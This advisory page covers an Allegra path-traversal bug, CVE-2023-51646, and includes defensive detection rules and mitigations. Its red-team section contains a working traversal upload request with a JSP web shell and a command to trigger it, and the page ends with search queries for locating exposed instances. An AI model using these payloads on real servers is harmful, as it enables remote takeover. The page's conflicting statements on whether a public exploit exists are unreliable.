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CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51646

CVE-2023-51646 Remote Code Execution in Allegra
📅 PUBLISHED: 2024-11-22 20:05 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.73%
👁️
0.73% probability
18.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51646 is a critical directory traversal vulnerability in Allegra, a project management and help desk platform. The flaw resides in the uploadSimpleFile method, which fails to properly validate user-supplied paths before using them in file operations. This allows an authenticated attacker (or an attacker who bypasses authentication) to write arbitrary files to the filesystem, leading to remote code execution (RCE) in the context of the LOCAL SERVICE account. The vulnerability was reported via ZDI-CAN-22527 and carries a CVSS score of 7.2 (High). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

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Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Allegra is a proprietary commercial application. The risk is limited to direct deployments of the Allegra software.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.2 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: Low (PR:L) – Authentication is required, but can be bypassed.
  • User Interaction: None (UI:N) – No user action needed.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full file read access possible.
  • Integrity Impact: High (I:H) – Arbitrary file write leads to code execution.
  • Availability Impact: High (A:H) – Code execution can disrupt service.

Threat Level: High. The combination of low attack complexity, network exploitability, and the ability to bypass authentication makes this a serious threat. An attacker can gain full control over the LOCAL SERVICE account, which often has elevated privileges on Windows systems.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the uploadSimpleFile method of Allegra. This method is designed to allow authenticated users to upload files to the server. However, the application does not sanitize or validate the user-supplied file path before using it in file write operations.

Attack Flow:

  1. Authentication Bypass: The original description notes that the existing authentication mechanism can be bypassed. This likely involves a separate vulnerability (e.g., session fixation, weak token validation) that allows an unauthenticated attacker to impersonate a legitimate user.
  2. Path Traversal: Once authenticated (or bypassed), the attacker sends a crafted request to the uploadSimpleFile endpoint. The request includes a file path containing directory traversal sequences (e.g., ../../../).
  3. Arbitrary File Write: The application concatenates the user-supplied path with a base directory without validation. This allows the attacker to write files to arbitrary locations on the filesystem.
  4. Code Execution: The attacker uploads a malicious file (e.g., a JSP or ASPX web shell) to a web-accessible directory (e.g., the web root). They then access the file via a web browser, triggering execution of the malicious code in the context of the LOCAL SERVICE account.

Root Cause: Lack of input validation on the file path parameter in the uploadSimpleFile method. The application should have used a whitelist of allowed directories or sanitized the path to remove traversal sequences.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Pseudocode):

public void uploadSimpleFile(String fileName, byte[] fileData) {
    String basePath = "C:\\Allegra\\Uploads\\";
    String fullPath = basePath + fileName; // No validation
    FileOutputStream fos = new FileOutputStream(fullPath);
    fos.write(fileData);
    fos.close();
}

Patched Code (Hypothetical):

public void uploadSimpleFile(String fileName, byte[] fileData) {
    String basePath = "C:\\Allegra\\Uploads\\";
    // Sanitize the file name to prevent path traversal
    String sanitizedFileName = new File(fileName).getName();
    String fullPath = basePath + sanitizedFileName;
    // Ensure the final path is within the allowed directory
    if (!fullPath.startsWith(basePath)) {
        throw new SecurityException("Invalid file path");
    }
    FileOutputStream fos = new FileOutputStream(fullPath);
    fos.write(fileData);
    fos.close();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to an Allegra instance (version unknown).
  • Ability to bypass authentication (method not publicly disclosed).
  • Knowledge of the web root directory (e.g., C:\Program Files\Allegra\webapps\ROOT\).

Exploitation Steps:

  1. Bypass Authentication: Use a separate vulnerability or technique to obtain a valid session token.
  2. Craft the Malicious Request: Send a POST request to the uploadSimpleFile endpoint with a path traversal payload.
    POST /uploadSimpleFile HTTP/1.1
    Host: target-allegra.com
    Cookie: JSESSIONID=valid-session-id
    Content-Type: multipart/form-data
    
    --boundary
    Content-Disposition: form-data; name="file"; filename="../../../webapps/ROOT/shell.jsp"
    Content-Type: application/octet-stream
    
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
    %>
    --boundary--
    
  3. Trigger Execution: Access the uploaded shell via a web browser.
    GET /shell.jsp?cmd=whoami HTTP/1.1
    Host: target-allegra.com
    
  4. Verify: The response should show NT AUTHORITY\LOCAL SERVICE.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual file uploads to web-accessible directories.
  • Look for path traversal patterns in HTTP requests (e.g., ../, ..\\).
  • Alert on file writes outside of the expected upload directory.

Defense:

  • Apply input validation and sanitization on all file upload endpoints.
  • Use a whitelist of allowed directories for file uploads.
  • Implement strict authentication and session management to prevent bypass.
  • Run the application with the least privileges necessary (avoid LOCAL SERVICE if possible).
  • Deploy a Web Application Firewall (WAF) with rules to block path traversal attempts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /uploadSimpleFile with filename parameters containing ../ or ..\\.
    • HTTP GET requests to suspicious files like shell.jsp, cmd.aspx, or shell.php in the web root.
  • File System IOCs:
    • Unexpected files in the web root directory (e.g., C:\Program Files\Allegra\webapps\ROOT\shell.jsp).
    • Files with recent creation timestamps in directories outside the expected upload path.
  • Process IOCs:
    • Processes spawned by the LOCAL SERVICE account that are not typical for the application (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule CVE_2023_51646_Allegra_UploadTraversal {
    meta:
        description = "Detects path traversal attempts in Allegra uploadSimpleFile requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-51646"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $upload_endpoint = "uploadSimpleFile"
    condition:
        $upload_endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2023-51646 Allegra Directory Traversal Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in Allegra uploadSimpleFile requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/uploadSimpleFile'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in file names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51646 Allegra Directory Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/uploadSimpleFile"; http_uri; content:"../"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Affected Systems: If possible, disconnect Allegra servers from the network until a patch is applied.
  2. Apply Input Validation: Implement server-side validation to reject file paths containing ../ or ..\\.
  3. Restrict File Uploads: Limit uploads to a specific directory and ensure the application cannot write outside of it.
  4. Update Authentication: Strengthen authentication mechanisms to prevent bypass (e.g., enforce strong session tokens, implement multi-factor authentication).

Long-Term Fix:

  • The vendor (Allegra) must release a security patch that properly sanitizes file paths in the uploadSimpleFile method. Until then, consider migrating to an alternative solution or implementing a virtual patch via a WAF.

Workaround:

  • Use a reverse proxy or WAF to block requests containing path traversal sequences in the filename parameter of the /uploadSimpleFile endpoint.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

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http.title:"Allegra"
http.html:"Allegra" "uploadSimpleFile"

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